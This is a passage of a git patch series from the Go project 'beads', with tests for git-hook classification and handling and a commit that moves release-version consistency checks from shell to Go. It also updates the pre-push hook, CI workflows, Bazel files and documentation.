b/cmd/bd/hooks_guard_test.go @@ -296,6 +296,177 @@ func TestInstallHooksBacksUpForeignHook(t *testing.T) { } } +// externalIntegrationHook is the shape beads prescribes for external hook +// managers (GH#946): the manager owns the file, and one line delegates to bd. +// It carries no beads marker, so bd must recognize it as a working integration +// (bd hooks list says installed) while still treating the file as foreign. +// +// The write-path tests below exist because recognizing it via IsBdHook — the +// ownership predicate — made bd destroy exactly this file. They all fail if the +// classification is carried on IsBdHook instead of IsExternalIntegration. +const externalIntegrationHook = "#!/bin/sh\nlefthook run pre-commit \"$@\"\nbd hooks run pre-commit \"$@\"\n" + +// A hook bd does not own must be backed up before injection even when it +// delegates to bd: the delegation makes it a beads integration, not beads' +// property. +func TestInstallHooksBacksUpExternalIntegrationHook(t *testing.T) { + repoDir := setupGuardTestRepo(t) + + hookPath := filepath.Join(repoDir, ".git", "hooks", "pre-commit") + if err := os.MkdirAll(filepath.Dir(hookPath), 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(hookPath, []byte(externalIntegrationHook), 0755); err != nil { + t.Fatal(err) + } + + if err := installHooksWithOptions(managedHookNames, false, false, false, false); err != nil { + t.Fatalf("install failed: %v", err) + } + + backup, err := os.ReadFile(hookPath + ".backup") + if err != nil { + t.Fatalf("expected .backup sidecar for an external-manager hook: %v", err) + } + if string(backup) != externalIntegrationHook { + t.Fatalf(".backup does not match original content:\n%s", backup) + } + + merged, err := os.ReadFile(hookPath) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(merged), "lefthook run pre-commit") { + t.Fatal("external hook manager's own line lost from hook after injection") + } + if !strings.Contains(string(merged), hookSectionBeginPrefix) { + t.Fatal("bd section not injected into hook") + } +} + +// The tracked-file refusal must still fire for a delegating hook: a committed +// team hook under core.hooksPath that calls bd hooks run is the shape this +// repository itself ships in .githooks/pre-commit. +func TestInstallHooksRefusesTrackedExternalIntegrationHook(t *testing.T) { + repoDir := setupGuardTestRepo(t) + + if err := os.MkdirAll(filepath.Join(repoDir, "hooks"), 0755); err != nil { + t.Fatal(err) + } + trackedHook := filepath.Join(repoDir, "hooks", "pre-commit") + if err := os.WriteFile(trackedHook, []byte(externalIntegrationHook), 0755); err != nil { + t.Fatal(err) + } + for _, args := range [][]string{ + {"add", "hooks/pre-commit"}, + {"commit", "-m", "add tracked external integration hook"}, + {"config", "core.hooksPath", "hooks"}, + } { + cmd := exec.Command("git", args...) + cmd.Dir = repoDir + if out, err := cmd.CombinedOutput(); err != nil { + t.Skipf("git %v failed: %v\n%s", args, err, out) + } + } + git.ResetCaches() + + installErr := installHooksWithOptions(managedHookNames, false, false, false, false) + if installErr == nil { + t.Fatal("expected install to refuse a tracked external-manager hook, got nil error") + } + if !strings.Contains(installErr.Error(), "tracked by git") { + t.Fatalf("expected tracked-file refusal, got: %v", installErr) + } +} + +// Uninstall removes files bd owns. A delegating hook bd never wrote must +// survive: deleting it silently destroys the external manager's hook, with no +// .backup to restore from. +func TestUninstallHooksPreservesExternalIntegrationHook(t *testing.T) { + repoDir := setupGuardTestRepo(t) + + hookPath := filepath.Join(repoDir, ".git", "hooks", "pre-commit") + if err := os.MkdirAll(filepath.Dir(hookPath), 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(hookPath, []byte(externalIntegrationHook), 0755); err != nil { + t.Fatal(err) + } + + if err := uninstallHooks(); err != nil { + t.Fatalf("uninstallHooks() failed: %v", err) + } + + content, err := os.ReadFile(hookPath) + if err != nil { + t.Fatalf("external-manager hook must survive uninstall: %v", err) + } + if string(content) != externalIntegrationHook { + t.Fatalf("external-manager hook was modified by uninstall:\n%s", content) + } +} + +// bd hooks run chains to .old, so a .old that itself delegates via +// "bd hooks run" would re-enter bd and run again without bound. The recursion +// guard must skip it even though it is not IsBdHook, and must still run a plain +// .old. +// +// The delegating fixture comments its "bd hooks run" line out. The classifier +// matches the call anywhere in the file, so it still classifies as an external +// integration, but if the guard stops firing it only leaves the marker behind +// instead of recursing. +func TestRunChainedHookSkipsDelegatingOldHook(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("chained .old fixtures are POSIX shell scripts") + } + for _, tc := range []struct { + name string + delegates bool + wantRun bool + }{ + {name: "delegating .old is skipped", delegates: true}, + {name: "plain .old runs", wantRun: true}, + } { + t.Run(tc.name, func(t *testing.T) { + repoDir := setupGuardTestRepo(t) + + hooksDir := filepath.Join(repoDir, ".git", "hooks") + if err := os.MkdirAll(hooksDir, 0755); err != nil { + t.Fatal(err) + } + marker := filepath.Join(t.TempDir(), "chained-hook-ran") + script := "#!/bin/sh\n" + if tc.delegates { + script += "# bd hooks run pre-commit \"$@\"\n" + } + script += "touch '" + marker + "'\n" + oldHook := filepath.Join(hooksDir, "pre-commit.old") + if err := os.WriteFile(oldHook, []byte(script), 0755); err != nil { + t.Fatal(err) + } + + // Pin the classification the guard keys on, so a fixture that + // stopped looking like an integration cannot pass for the wrong + // reason. + info, err := getHookVersion(oldHook) + if err != nil { + t.Fatal(err) + } + if info.IsBdHook || info.IsExternalIntegration != tc.delegates { + t.Fatalf("fixture classified as %+v, want IsExternalIntegration=%v and IsBdHook=false", info, tc.delegates) + } + + if code := runChainedHook("pre-commit", nil); code != 0 { + t.Fatalf("runChainedHook() = %d, want 0", code) + } + _, statErr := os.Stat(marker) + if ran := statErr == nil; ran != tc.wantRun { + t.Fatalf("chained .old ran = %v, want %v", ran, tc.wantRun) + } + }) + } +} + // Shared installs (.beads-hooks/) are deliberately committed, so the // tracked-file guard must not fire for them. func TestGuardHookWritePathAllowsTrackedWhenShared(t *testing.T) { diff --git a/cmd/bd/init_hooks_test.go b/cmd/bd/init_hooks_test.go index c77e7b09b..759f7535f 100644 --- a/cmd/bd/init_hooks_test.go +++ b/cmd/bd/init_hooks_test.go @@ -1397,3 +1397,121 @@ func TestFixHuskyHookLayout_NoHusky(t *testing.T) { t.Error("h should not exist") } } + +// TestCheckGitHooks_ForeignHookNotInstalled reproduces GH#6084. +// A hook file that beads never wrote must not be reported as installed by +// bd hooks list. Previously CheckGitHooks set Installed=true whenever +// getHookVersion returned without error, but getHookVersion returns a zero- +// value hookVersionInfo (IsBdHook=false) with a nil error when the file is +// readable but contains no beads markers. +func TestCheckGitHooks_ForeignHookNotInstalled(t *testing.T) { + tmpDir := newGitRepo(t) + runInDir(t, tmpDir, func() { + hooksDir := filepath.Join(tmpDir, ".git", "hooks") + if err := os.MkdirAll(hooksDir, 0750); err != nil { + t.Fatalf("failed to create hooks dir: %v", err) + } + + // Write a hook that contains no beads markers whatsoever — exactly + // the script from the issue report. + foreignHook := "#!/bin/sh\necho hello\nexit 0\n" + hookPath := filepath.Join(hooksDir, "pre-commit") + if err := os.WriteFile(hookPath, []byte(foreignHook), 0755); err != nil { + t.Fatalf("failed to write foreign hook: %v", err) + } + + statuses := CheckGitHooks() + + for _, s := range statuses { + if s.Name != "pre-commit" { + continue + } + if s.Installed { + t.Errorf("pre-commit: got Installed=true for a foreign hook file that beads never wrote; want Installed=false (GH#6084)") + } + return + } + t.Error("pre-commit hook status not found in CheckGitHooks result") + }) +} + +// TestCheckGitHooks_BeadsHookIsInstalled verifies that the IsBdHook gate added +// in GH#6084 does not regress recognition of genuine beads-managed hooks. +// Each variant that getHookVersion can recognise must produce Installed=true. +func TestCheckGitHooks_BeadsHookIsInstalled(t *testing.T) { + cases := []struct { + name string + body string + wantInstalled bool + wantOutdated bool + }{ + { + name: "section-marker", + // Minimal hook with a BEGIN BEADS INTEGRATION section marker. + body: "#!/bin/sh\n" + hookSectionBeginPrefix + " v" + Version + " ---\nbd hooks run pre-commit \"$@\"\n" + hookSectionEndPrefix + " v" + Version + " ---\n", + wantInstalled: true, + }, + { + name: "legacy-version-marker", + body: "#!/bin/sh\n" + hookVersionPrefix + Version + "\n# bd (beads) pre-commit hook\nbd sync --flush-only\n", + wantInstalled: true, + }, + { + name: "shim-marker", + body: "#!/bin/sh\n" + shimVersionPrefix + Version + "\nexec bd hooks run pre-commit \"$@\"\n", + wantInstalled: true, + }, + { + name: "inline-marker", + // Old bd init style: no version line, just the inline comment. + // bd wrote this template, so a missing version still means + // "re-install me": Outdated stays true (GH#1120). + body: "#!/bin/sh\n# bd (beads) pre-commit hook\nbd sync --flush-only\n", + wantInstalled: true, + wantOutdated: true, + }, + { + name: "bd-hooks-run-no-marker", + // The GH#946 integration: an external hook manager's own hook that + // calls bd hooks run and carries no beads marker. bd doctor counts + // it as a bd hook (doctor.IsBdHookContent), so bd hooks list must + // too, or bd config drift exits 1 on a supported setup. It is not + // outdated: bd itself supplies the behavior, and "run bd hooks + // install" would overwrite the manager's hook. + body: "#!/bin/sh\nlefthook run pre-commit\nbd hooks run pre-commit \"$@\"\n", + wantInstalled: true, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + tmpDir := newGitRepo(t) + runInDir(t, tmpDir, func() { + hooksDir := filepath.Join(tmpDir, ".git", "hooks") + if err := os.MkdirAll(hooksDir, 0750); err != nil { + t.Fatalf("failed to create hooks dir: %v", err) + } + hookPath := filepath.Join(hooksDir, "pre-commit") + if err := os.WriteFile(hookPath, []byte(tc.body), 0755); err != nil { + t.Fatalf("failed to write hook: %v", err) + } + + statuses := CheckGitHooks() + + for _, s := range statuses { + if s.Name != "pre-commit" { + continue + } + if s.Installed != tc.wantInstalled { + t.Errorf("pre-commit (%s): got Installed=%v, want %v", tc.name, s.Installed, tc.wantInstalled) + } + if s.Outdated != tc.wantOutdated { + t.Errorf("pre-commit (%s): got Outdated=%v, want %v", tc.name, s.Outdated, tc.wantOutdated) + } + return + } + t.Error("pre-commit hook status not found in CheckGitHooks result") + }) + }) + } +} From 02a416cc73b2e39dfbad0091c874756727bd5f98 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 1 Oct 2026 08:46:37 -0600 Subject: [PATCH 039/325] fix: make release-version checks shell-free (#5614) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: make release-version checks shell-free (#5533) Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * fix(release): preserve checker status and explain gate failures (saa-cgh.16) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs: retain release-pinned CLI references (saa-cgh.16) Preserve corrected live preflight help while generated references continue to match docs/cli-docs.pin v1.2.2. Fix the exact two-line hosted docs-policy failure without changing pin authority. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(versioncheck): carry base's release gates into the Go checker The base branch gained three release-metadata gates in scripts/check-versions.sh after this PR's merge point (release: prep v1.3.0, b3ef65c854): the Copilot plugin manifest, the four winres.json Windows PE version fields, and manifest.xml's assemblyIdentity version. This PR replaces that shell body with the Go authority, so adopting it as-written would have silently dropped all three — each one guards a file whose bump is a sed anchored on the old value, so a drifted copy no-ops and ships advertising the previous version. Port them into internal/versioncheck so the shell-free checker enforces the same set: - source gains an optional expected() so a surface can derive its required value; the Windows PE numeric fields must be purely numeric and so carry the prerelease-stripped form, and manifest.xml carries the four-part form. - readWinresVersionField reads the nested RT_VERSION resource path through the existing duplicate-key-checked JSON helpers. - readManifestAssemblyVersion anchors on line start, since the XML declaration also carries a version attribute. Also regenerate the Bazel BUILD files (make bazel-sync). cmd/bd/BUILD.bazel enumerates srcs explicitly, so the PR's new preflight_versions.go was missing from it and //cmd/bd:bd_lib failed to compile with `undefined: runBeadsVersionSyncCheck`; gazelle adds that src, the //internal/versioncheck dep edge, and BUILD files for the two new packages. Known follow-up for review: the PR's TestRepositoryReleaseVersionsMatch and TestPrePushHookOrdinaryPushWorksWithSystemBash read repository files directly, so they need `data` runfiles to pass under `bazel test` (advisory lane only). * fix(versioncheck): stop the release gate over-claiming docs coverage; distinguish --expect mismatch Maintainer review fixup for iteration 1 (both findings minor, non-gating; scorecard 915/850 approve with Required Changes: None). Contract & Interface Fidelity (claude + codex): the success line claimed "Version files and released-docs policy pass" while the checker reads no documentation surface, and it replaced the shell predecessor's explicit disclaimer that the docs release line and docs/cli-docs.pin are manual release steps. Restore the base wording ("Version files in sync at: ") plus the disclaimer, and update the three pins in main_test.go. This also repairs a consumer neither review lane censused: the tracked release runbook .beads/formulas/beads-release.formula.toml:475 instructs the operator that the gate "must print `✓ Version files in sync at: ` before you continue" — the renamed string had silently broken that acceptance check. Grepping the new spelling finds nothing; the breakage only shows up when grepping the old one. Error Handling & Resilience (codex): --expect mismatch reused exit 1, so .githooks/pre-push answered a tag/checkout mismatch with the version-drift remedy ("Fix with: scripts/update-versions.sh ") — advice that would rewrite every release surface to the wrong version. Give that case status 3 and add the matching hook branch pointing at CONTRIBUTING's actual rule. Only two --expect call sites exist: release.yml:45 (bare non-zero check, unaffected) and this hook. Verified at this head: check-versions.sh rc=0 (24 green rows, all three ported base gates); exit taxonomy 0/2/3 as documented; go test ./internal/versioncheck/ ./scripts/check-versions/ PASS=65 FAIL=0 SKIP=0; cmd/bd TestTrackedManagedHookSectionsMatchGenerator ok (hook edit sits above the generator-managed markers); gofmt/vet clean. Both fixes proven non-vacuous by mutating each back and requiring red. Declined as out of cleanup scope, recorded for follow-up: making TestRepositoryReleaseVersionsMatch fixture-based (redesigns the PR's own test architecture and interacts with the deliberate untracked-discovery pin at check_test.go:174; harm measured local-only) and declaring bazel data runfiles (gate impact none — no BAZEL key in either CI_GATE_REQUIRED map at this base; the remedy needs root filegroups that touch scripts/bazel_policy_test.go invariants). Co-Authored-By: Claude Opus 5 * test(versioncheck): declare the release-gate tests' repo inputs as Bazel data Base commit e1b2e79484 (#6941) promoted the seven BAZEL* lanes into pr.yml's CI_GATE_REQUIRED after this branch's merge point, so the two packages this PR adds are now graded by a required check. Both reach real repository files through a hand-rolled filepath.Join("..", ".."), which resolves outside the runfiles tree, and `bazel test //...` failed on them: TestRepositoryReleaseVersionsMatch open ../../cmd/bd/version.go: no such file or directory TestPrePushHookOrdinaryPushWorksWithSystemBash runfiles .githooks/pre-push: No such file or directory Resolve the root through internal/testutil/bazeltest.RepoRoot, the base's helper for exactly this, which reduces to the previous behavior under plain `go test`; and declare the inputs as data through a //:release_metadata_files filegroup aggregating the surfaces versioncheck.releaseSources gates, the canonical version it compares them against, the uv.lock pin and the tracked hooks, exported from the packages that own them. The filegroup is hand-listed because releaseSources is itself a closed list: a newly gated surface must be added there too, and until it is the test fails under Bazel. The shell entrypoint's exit-status subtests build the checker from source at the repository root, which cannot work against a runfiles tree that has no go.mod, so they skip under Bazel and keep running under `go test`. The guard sits inside each subtest, not above the loop, so the ordinary-push assertion still reports as run rather than hiding behind a skip. Validation: `go test ./internal/versioncheck/ ./scripts/check-versions/` is unchanged at 65 pass / 0 skip, with all three entrypoint subtests still executing; both targets pass `bazel test --config=ci`; //scripts:scripts_test (the tag-taxonomy and Bazel policy tests) passes; `bazel build //...` is clean across 321 targets; `make bazel-sync` reports no drift and is idempotent. * test(versioncheck): stop declaring the bazelignored npm manifest as Bazel data The required `Bazel / test` lane failed on the refreshed head in fork-PR CI: TestRepositoryReleaseVersionsMatch npm package.json: open .../versioncheck_test.runfiles/_main/ npm-package/package.json: no such file or directory (expected 1.3.0) npm-package/ is in .bazelignore (#6798), so Bazel never links it into the execroot, and a local sandbox cannot stage npm-package/package.json even though //:release_metadata_files named it and analysis accepted the label. It resolved only under remote execution, where the client uploads the file from the workspace. That is how the previous fixup's `bazel test --config=ci` passed on a host whose bazelrc defaults to remote execution. Fork PRs get no remote-execution secrets, so CI runs the test in processwrapper-sandbox, where it fails. Drop the entry from the filegroup. Under Bazel only, let TestRepositoryReleaseVersionsMatch tolerate exactly that surface's absence: the file must be missing, and every other gated surface, the uv.lock pin and the hook markers must pass. The test logs the gap. This mirrors the base's skipReleaseFormulaUnderBazel for the bazelignored .beads/. `go test`, which sees the real checkout, still checks the npm manifest. Validation: forcing local execution the way fork CI runs (`bazel test --config=ci --nocache_test_results --remote_executor= --strategy=TestRunner=processwrapper-sandbox`) reproduced the failure before the change. After it, //internal/versioncheck:versioncheck_test, //scripts/check-versions:check-versions_test and //scripts:scripts_test pass (3 of 3 executed), and both release-gate targets also pass under remote execution. Drifting a declared surface still fails the sandboxed run. The tolerance was probed through TEST_SRCDIR and BEADS_TEST_REPO_ROOT: each of these still fails: - another drifted surface - a present but mismatched npm manifest - an unreadable canonical version - plain `go test` with the manifest missing `go test ./internal/versioncheck/ ./scripts/check-versions/`, golangci-lint and `make bazel-sync-check` are clean. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- .githooks/pre-push | 34 +- .github/workflows/main.yml | 6 + .github/workflows/pr.yml | 6 + .github/workflows/release.yml | 18 +- BUILD.bazel | 34 + CHANGELOG.md | 6 + CONTRIBUTING.md | 8 + cmd/bd/BUILD.bazel | 15 + cmd/bd/preflight.go | 99 +- cmd/bd/preflight_test.go | 208 ++++- cmd/bd/preflight_versions.go | 69 ++ internal/versioncheck/BUILD.bazel | 20 + internal/versioncheck/check.go | 923 +++++++++++++++++++ internal/versioncheck/check_test.go | 650 +++++++++++++ plugins/beads/BUILD.bazel | 11 + scripts/BUILD.bazel | 7 + scripts/check-versions.sh | 195 +--- scripts/check-versions/BUILD.bazel | 45 + scripts/check-versions/main.go | 158 ++++ scripts/check-versions/main_test.go | 228 +++++ scripts/check-versions/pre_push_hook_test.go | 83 ++ 21 files changed, 2532 insertions(+), 291 deletions(-) create mode 100644 cmd/bd/preflight_versions.go create mode 100644 internal/versioncheck/BUILD.bazel create mode 100644 internal/versioncheck/check.go create mode 100644 internal/versioncheck/check_test.go create mode 100644 scripts/check-versions/BUILD.bazel create mode 100644 scripts/check-versions/main.go create mode 100644 scripts/check-versions/main_test.go create mode 100644 scripts/check-versions/pre_push_hook_test.go diff --git a/.githooks/pre-push b/.githooks/pre-push index e454f0628..5c6acc315 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -26,14 +26,32 @@ if [ "$pushing_version_tag" -eq 1 ]; then repo_root="$(git rev-parse --show-toplevel)" # Skip on older checkouts without the consistency check; do not block. if [ -x "$repo_root/scripts/check-versions.sh" ]; then - echo "Release tag push detected — verifying version consistency..." - if ! (cd "$repo_root" && ./scripts/check-versions.sh); then - echo "" - echo "❌ Refusing to push release tag: versions are inconsistent." >&2 - echo " Fix with: scripts/update-versions.sh " >&2 - echo " Override with --no-verify only if you know what you are doing." >&2 - exit 1 - fi + while read -r local_ref _local_sha _remote_ref _remote_sha; do + case "$local_ref" in + refs/tags/v[0-9]*) + tag_version="${local_ref#refs/tags/v}" + echo "Release tag v$tag_version push detected — verifying version consistency..." + checker_status=0 + (cd "$repo_root" && ./scripts/check-versions.sh --expect "$tag_version") || checker_status=$? + if [ "$checker_status" -ne 0 ]; then + echo "" + if [ "$checker_status" -eq 1 ]; then + echo "❌ Refusing to push release tag v$tag_version: versions are inconsistent." >&2 + echo " Fix with: scripts/update-versions.sh " >&2 + elif [ "$checker_status" -eq 3 ]; then + echo "❌ Refusing to push release tag v$tag_version: the tag does not match this checkout's release version." >&2 + echo " The release surfaces agree with each other, so do NOT re-run update-versions.sh." >&2 + echo " Push only the tag matching this checkout (see CONTRIBUTING.md)." >&2 + else + echo "❌ Refusing to push release tag v$tag_version: version checker unavailable or failed (exit $checker_status)." >&2 + echo " Check the Go toolchain and checker diagnostics above." >&2 + fi + echo " Override with --no-verify only if you know what you are doing." >&2 + exit 1 + fi + ;; + esac + done <<< "$push_refs" fi fi diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 1045f28f3..588cead28 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -190,6 +190,12 @@ jobs: steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + - name: Check all versions match run: ./scripts/check-versions.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 517176deb..e8d1389a1 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -478,6 +478,12 @@ jobs: steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + - name: Check all versions match run: ./scripts/check-versions.sh diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e9fabb91e..80685e4d5 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -35,18 +35,14 @@ jobs: with: fetch-depth: 0 - - name: Verify tag matches version.go - run: | - tag_version="${GITHUB_REF_NAME#v}" - code_version="$(grep 'Version = ' cmd/bd/version.go | sed 's/.*"\(.*\)".*/\1/')" - if [ "$tag_version" != "$code_version" ]; then - echo "ERROR: tag v$tag_version does not match cmd/bd/version.go ($code_version)" >&2 - exit 1 - fi - echo "OK: tag and version.go agree on $code_version" + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false - - name: Check version consistency - run: ./scripts/check-versions.sh + - name: Verify tag and released versions + run: ./scripts/check-versions.sh --expect "${GITHUB_REF_NAME#v}" release-package-mcp: name: Release Package Gate (MCP) diff --git a/BUILD.bazel b/BUILD.bazel index 55b9cc7e1..b4ebcdbb6 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -120,6 +120,40 @@ filegroup( visibility = ["//scripts:__pkg__"], ) +# //internal/versioncheck and //scripts/check-versions release-gate tests: the +# metadata surfaces versioncheck.releaseSources gates, plus the canonical +# version it compares them against and the tracked git hooks whose version +# markers it checks. +# +# Hand-listed rather than globbed because releaseSources is itself a closed +# list: a newly gated surface must be added here too, and until it is the test +# fails under Bazel (it passes under `go test`, which sees the whole checkout). +# +# The exception is npm-package/package.json: npm-package/ is in .bazelignore, +# so no target can declare it. Listing it anyway passes under remote execution +# but fails in a local sandbox, which is how fork-PR CI runs. +# TestRepositoryReleaseVersionsMatch tolerates exactly its absence under +# Bazel; `go test` still checks it. +filegroup( + name = "release_metadata_files", + srcs = [ + ".claude-plugin/marketplace.json", + "integrations/beads-mcp/pyproject.toml", + "integrations/beads-mcp/src/beads_mcp/__init__.py", + "integrations/beads-mcp/uv.lock", + "//cmd/bd:version.go", + "//cmd/bd:winres/manifest.xml", + "//cmd/bd:winres/winres.json", + "//plugins/beads:.claude-plugin/plugin.json", + "//plugins/beads:.codex-plugin/plugin.json", + "//plugins/beads:.copilot-plugin/plugin.json", + ] + glob([".githooks/*"]), + visibility = [ + "//internal/versioncheck:__pkg__", + "//scripts/check-versions:__pkg__", + ], +) + # Inputs of the Bazel policy tests in //scripts (bazel_policy_test.go), so they # run under `bazel test` as well as `go test`. filegroup( diff --git a/CHANGELOG.md b/CHANGELOG.md index 947fc2325..89e60d86f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Changed + +- `bd preflight --fix --json` no longer returns a `Version sync` fix result: + version updates must keep all release surfaces aligned via `scripts/update-versions.sh`. +- Release-tag pushes require Go and reject batches containing different release versions. + ### Fixed - **`bd list` no longer silently drops all but the last repeated filter flag.** diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ba3288a57..961a3664c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -315,6 +315,14 @@ dlv debug ./cmd/bd -- create "Test issue" 4. Push tag: `git push origin v0.x.0` 5. GitHub Actions will build and publish +The pre-push version gate requires Go and validates each `v*` release tag +against the checkout's canonical version. A batch containing different release +versions is refused; push only the tag matching this checkout. + +`bd preflight` finds the nearest Beads source module by walking ancestor +directories, checking both source markers and the module identity. Its version +check runs directly in Go; `scripts/check-versions.sh` remains a Bash entrypoint. + ## Questions? - Check existing [issues](https://github.com/gastownhall/beads/issues) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 886abb8b0..243834a47 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -243,6 +243,7 @@ go_library( "ping_proxied_server.go", "pour.go", "preflight.go", + "preflight_versions.go", "prime.go", "prime_divergence.go", "prime_proxied_server.go", @@ -430,6 +431,7 @@ go_library( "//internal/uimd", "//internal/utils", "//internal/validation", + "//internal/versioncheck", "//internal/workapi", "//internal/workspacegate", "//internal/worktreeremove", @@ -1290,6 +1292,7 @@ go_test( "//internal/uimd", "//internal/utils", "//internal/validation", + "//internal/versioncheck", "//internal/workapi", "//internal/workspacegate", "//internal/worktreeremove", @@ -1464,6 +1467,18 @@ exports_files( visibility = ["//test/docsync:__pkg__"], ) +# Release-metadata surfaces gated by //internal/versioncheck's releaseSources +# table: the canonical version and the Windows PE resource files. Aggregated +# into //:release_metadata_files, which is what the tests declare as data. +exports_files( + [ + "version.go", + "winres/manifest.xml", + "winres/winres.json", + ], + visibility = ["//:__pkg__"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/cmd/bd/preflight.go b/cmd/bd/preflight.go index 719404ad9..848bf855c 100644 --- a/cmd/bd/preflight.go +++ b/cmd/bd/preflight.go @@ -78,7 +78,7 @@ const lintCancellationGrace = 10 * time.Second func init() { preflightCmd.Flags().Bool("check", false, "Run checks automatically") - preflightCmd.Flags().Bool("fix", false, "Auto-fix issues where possible (vendorHash, version sync)") + preflightCmd.Flags().Bool("fix", false, "Auto-fix issues where possible (vendorHash)") preflightCmd.Flags().Bool("skip-lint", false, "Skip lint check explicitly") rootCmd.AddCommand(preflightCmd) @@ -131,7 +131,7 @@ func fileExists(dir, name string) bool { // project's language stack, detected from standard marker files in dir. A // project with no recognized stack gets a generic reminder rather than a // misleading Go checklist, and the repo's own Go+Nix specific items -// (gms_pure_go build tags, nix vendorHash, version.go vs default.nix) only +// (gms_pure_go build tags, nix vendorHash, released metadata versions) only // appear where they apply (GH#4364). func buildPreflightChecklist(dir string) []string { // Preserve the exact rich checklist when run inside the beads repo itself @@ -144,7 +144,7 @@ func buildPreflightChecklist(dir string) []string { "Formatting: gofmt -l .", "No beads pollution: check .beads/issues.jsonl diff", "Nix hash current: go.sum unchanged or vendorHash updated", - "Version sync: version.go matches default.nix", + "Version sync: released metadata matches version.go", } } @@ -607,33 +607,19 @@ func runNixHashCheck() CheckResult { } } -// runVersionSyncCheck checks that all version files are in sync. -// Prefers scripts/check-versions.sh (matches CI) with fallback to inline logic. +// runVersionSyncCheck checks that all version files are in sync. Beads uses the +// shared Go authority; unrelated repositories retain the generic Go/Nix check. func runVersionSyncCheck() CheckResult { - command := "scripts/check-versions.sh" - - // Try using the script (matches CI's check-version-consistency job) - if _, err := os.Stat("scripts/check-versions.sh"); err == nil { - cmd := exec.Command("bash", "scripts/check-versions.sh") - output, err := cmd.CombinedOutput() - if err != nil { - return CheckResult{ - Name: "Version sync", - Passed: false, - Output: string(output), - Command: command, - } - } - return CheckResult{ - Name: "Version sync", - Passed: true, - Output: string(output), - Command: command, - } + root, found, rootFailure := resolveBeadsVersionRoot(".") + if rootFailure.Name != "" { + return rootFailure + } + if found { + return runBeadsVersionSyncCheck(root) } - // Fallback: inline comparison of version.go and default.nix - command = "Compare cmd/bd/version.go and default.nix" + // Generic fallback: inline comparison of version.go and default.nix. + command := "Compare cmd/bd/version.go and default.nix" // Read version.go versionGoContent, err := os.ReadFile("cmd/bd/version.go") @@ -773,19 +759,6 @@ func runFixes(jsonOutput bool) error { } results = append(results, nr) - versionFixed, versionOld, versionNew, versionErr := fixVersionSync() - vr := fixResult{Name: "Version sync"} - if versionErr != nil { - vr.Error = versionErr.Error() - hasError = true - } else if versionFixed { - vr.Fixed = true - vr.Detail = fmt.Sprintf("version.go: %s → %s", versionOld, versionNew) - } else { - vr.Skipped = true - } - results = append(results, vr) - if jsonOutput { enc := json.NewEncoder(os.Stdout) enc.SetIndent("", " ") @@ -910,49 +883,3 @@ func fixNixHash() (bool, string, string, error) { restored = true return true, oldHash, newHash, nil } - -// fixVersionSync updates cmd/bd/version.go to match the version in default.nix. -// default.nix is the source of truth. Returns (fixed, oldVersion, newVersion, err). -func fixVersionSync() (bool, string, string, error) { - vgoPath := "cmd/bd/version.go" - vgoInfo, err := os.Stat(vgoPath) - if err != nil { - return false, "", "", fmt.Errorf("cannot read cmd/bd/version.go: %v", err) - } - vgoPerm := vgoInfo.Mode().Perm() - - vgoContent, err := os.ReadFile(vgoPath) - if err != nil { - return false, "", "", fmt.Errorf("cannot read cmd/bd/version.go: %v", err) - } - - vgoRe := regexp.MustCompile(`(Version\s*=\s*)"([^"]+)"`) - vgoLoc := vgoRe.FindSubmatchIndex(vgoContent) - if vgoLoc == nil { - return false, "", "", fmt.Errorf("cannot parse Version from cmd/bd/version.go") - } - oldVersion := string(vgoContent[vgoLoc[4]:vgoLoc[5]]) - - nixContent, err := os.ReadFile("default.nix") - if err != nil { - // No default.nix — nothing to sync against - return false, "", "", nil - } - - nixRe := regexp.MustCompile(`version\s*=\s*"([^"]+)"`) - nixM := nixRe.FindSubmatch(nixContent) - if nixM == nil { - return false, "", "", fmt.Errorf("cannot parse version from default.nix") - } - newVersion := string(nixM[1]) - - if oldVersion == newVersion { - return false, oldVersion, newVersion, nil - } - - updated := append(append([]byte{}, vgoContent[:vgoLoc[4]]...), append([]byte(newVersion), vgoContent[vgoLoc[5]:]...)...) - if err := os.WriteFile(vgoPath, updated, vgoPerm); err != nil { - return false, oldVersion, 